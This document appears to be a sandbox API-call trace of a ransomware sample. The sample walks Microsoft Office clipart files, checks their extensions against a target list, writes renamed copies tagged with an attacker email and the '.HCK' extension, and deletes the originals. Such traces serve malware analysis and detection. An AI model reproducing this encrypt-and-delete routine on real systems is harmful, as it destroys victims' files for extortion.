lstrlenW (lpString=".7z") returned 3 [0159.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.865] lstrlenW (lpString=".dbf") returned 4 [0159.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.866] lstrlenW (lpString=".1cd") returned 4 [0159.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0159.866] lstrlenW (lpString=".jpg") returned 4 [0159.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.866] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.866] lstrlenW (lpString="FD01176_.WMF") returned 12 [0159.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0159.866] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=4984) returned 1 [0159.866] CloseHandle (hObject=0x2f0) returned 1 [0159.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0159.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0159.866] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.866] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0159.867] GetLastError () returned 0x0 [0159.867] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1378, lpOverlapped=0x0) returned 1 [0159.875] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1380, lpOverlapped=0x0) returned 1 [0159.875] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.875] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.876] SetEndOfFile (hFile=0x3a8) returned 1 [0159.876] CloseHandle (hObject=0x3a8) returned 1 [0159.876] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.876] SetEndOfFile (hFile=0x2f0) returned 1 [0159.877] CloseHandle (hObject=0x2f0) returned 1 [0159.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0159.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.878] lstrlenW (lpString=".doc") returned 4 [0159.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.878] lstrlenW (lpString=".docx") returned 5 [0159.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.878] lstrlenW (lpString=".pdf") returned 4 [0159.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.878] lstrlenW (lpString=".xls") returned 4 [0159.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.878] lstrlenW (lpString=".xlsx") returned 5 [0159.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.878] lstrlenW (lpString=".ppt") returned 4 [0159.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.878] lstrlenW (lpString=".zip") returned 4 [0159.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.878] lstrlenW (lpString=".rar") returned 4 [0159.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.878] lstrlenW (lpString=".bz2") returned 4 [0159.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.878] lstrlenW (lpString=".7z") returned 3 [0159.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.878] lstrlenW (lpString=".dbf") returned 4 [0159.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.878] lstrlenW (lpString=".1cd") returned 4 [0159.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.878] lstrlenW (lpString=".jpg") returned 4 [0159.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.878] lstrlenW (lpString=".doc") returned 4 [0159.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.878] lstrlenW (lpString=".docx") returned 5 [0159.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0159.879] lstrlenW (lpString=".pdf") returned 4 [0159.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.879] lstrlenW (lpString=".xls") returned 4 [0159.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.879] lstrlenW (lpString=".xlsx") returned 5 [0159.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0159.879] lstrlenW (lpString=".ppt") returned 4 [0159.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.879] lstrlenW (lpString=".zip") returned 4 [0159.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.879] lstrlenW (lpString=".rar") returned 4 [0159.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.879] lstrlenW (lpString=".bz2") returned 4 [0159.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.879] lstrlenW (lpString=".7z") returned 3 [0159.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.879] lstrlenW (lpString=".dbf") returned 4 [0159.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.879] lstrlenW (lpString=".1cd") returned 4 [0159.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0159.879] lstrlenW (lpString=".jpg") returned 4 [0159.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.879] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0159.879] lstrlenW (lpString="FD01193_.WMF") returned 12 [0159.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.885] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1160) returned 1 [0159.885] CloseHandle (hObject=0x364) returned 1 [0159.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0159.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0159.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0159.885] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.885] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0159.886] GetLastError () returned 0x0 [0159.886] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x488, lpOverlapped=0x0) returned 1 [0159.890] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x490, lpOverlapped=0x0) returned 1 [0159.891] ReadFile (in: hFile=0x364, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.891] WriteFile (in: hFile=0x38c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.891] SetEndOfFile (hFile=0x38c) returned 1 [0159.891] CloseHandle (hObject=0x38c) returned 1 [0159.892] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.892] SetEndOfFile (hFile=0x364) returned 1 [0159.893] CloseHandle (hObject=0x364) returned 1 [0159.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0159.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0160.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.291] lstrlenW (lpString=".doc") returned 4 [0160.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.291] lstrlenW (lpString=".docx") returned 5 [0160.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.291] lstrlenW (lpString=".pdf") returned 4 [0160.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.291] lstrlenW (lpString=".xls") returned 4 [0160.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.291] lstrlenW (lpString=".xlsx") returned 5 [0160.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.291] lstrlenW (lpString=".ppt") returned 4 [0160.291] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.291] lstrlenW (lpString=".zip") returned 4 [0160.291] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.291] lstrlenW (lpString=".rar") returned 4 [0160.291] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.291] lstrlenW (lpString=".bz2") returned 4 [0160.291] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.291] lstrlenW (lpString=".7z") returned 3 [0160.291] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.291] lstrlenW (lpString=".dbf") returned 4 [0160.291] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.291] lstrlenW (lpString=".1cd") returned 4 [0160.291] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.292] lstrlenW (lpString=".jpg") returned 4 [0160.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.292] lstrlenW (lpString=".doc") returned 4 [0160.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.292] lstrlenW (lpString=".docx") returned 5 [0160.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.292] lstrlenW (lpString=".pdf") returned 4 [0160.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.292] lstrlenW (lpString=".xls") returned 4 [0160.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.292] lstrlenW (lpString=".xlsx") returned 5 [0160.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.292] lstrlenW (lpString=".ppt") returned 4 [0160.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.292] lstrlenW (lpString=".zip") returned 4 [0160.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.292] lstrlenW (lpString=".rar") returned 4 [0160.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.292] lstrlenW (lpString=".bz2") returned 4 [0160.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.292] lstrlenW (lpString=".7z") returned 3 [0160.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.292] lstrlenW (lpString=".dbf") returned 4 [0160.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.292] lstrlenW (lpString=".1cd") returned 4 [0160.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68 [0160.292] lstrlenW (lpString=".jpg") returned 4 [0160.292] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.292] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0160.292] lstrlenW (lpString="HH00231_.WMF") returned 12 [0160.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0160.293] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2232) returned 1 [0160.293] CloseHandle (hObject=0x3b0) returned 1 [0160.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 0x220 [0160.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0160.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0160.293] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.293] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.294] GetLastError () returned 0x0 [0160.294] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x8b8, lpOverlapped=0x0) returned 1 [0160.296] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x8c0, lpOverlapped=0x0) returned 1 [0160.296] ReadFile (in: hFile=0x3b0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.296] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0160.296] SetEndOfFile (hFile=0x384) returned 1 [0160.297] CloseHandle (hObject=0x384) returned 1 [0160.298] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.298] SetEndOfFile (hFile=0x3b0) returned 1 [0160.298] CloseHandle (hObject=0x3b0) returned 1 [0160.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0160.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0160.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.299] lstrlenW (lpString=".doc") returned 4 [0160.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.299] lstrlenW (lpString=".docx") returned 5 [0160.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.299] lstrlenW (lpString=".pdf") returned 4 [0160.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.299] lstrlenW (lpString=".xls") returned 4 [0160.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.299] lstrlenW (lpString=".xlsx") returned 5 [0160.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.299] lstrlenW (lpString=".ppt") returned 4 [0160.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.299] lstrlenW (lpString=".zip") returned 4 [0160.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.299] lstrlenW (lpString=".rar") returned 4 [0160.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.299] lstrlenW (lpString=".bz2") returned 4 [0160.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.299] lstrlenW (lpString=".7z") returned 3 [0160.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.300] lstrlenW (lpString=".dbf") returned 4 [0160.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.300] lstrlenW (lpString=".1cd") returned 4 [0160.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.300] lstrlenW (lpString=".jpg") returned 4 [0160.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.300] lstrlenW (lpString=".doc") returned 4 [0160.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.300] lstrlenW (lpString=".docx") returned 5 [0160.300] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0160.300] lstrlenW (lpString=".pdf") returned 4 [0160.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.300] lstrlenW (lpString=".xls") returned 4 [0160.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.300] lstrlenW (lpString=".xlsx") returned 5 [0160.300] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0160.300] lstrlenW (lpString=".ppt") returned 4 [0160.300] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.300] lstrlenW (lpString=".zip") returned 4 [0160.300] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.300] lstrlenW (lpString=".rar") returned 4 [0160.300] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.300] lstrlenW (lpString=".bz2") returned 4 [0160.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.300] lstrlenW (lpString=".7z") returned 3 [0160.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0160.300] lstrlenW (lpString=".dbf") returned 4 [0160.300] 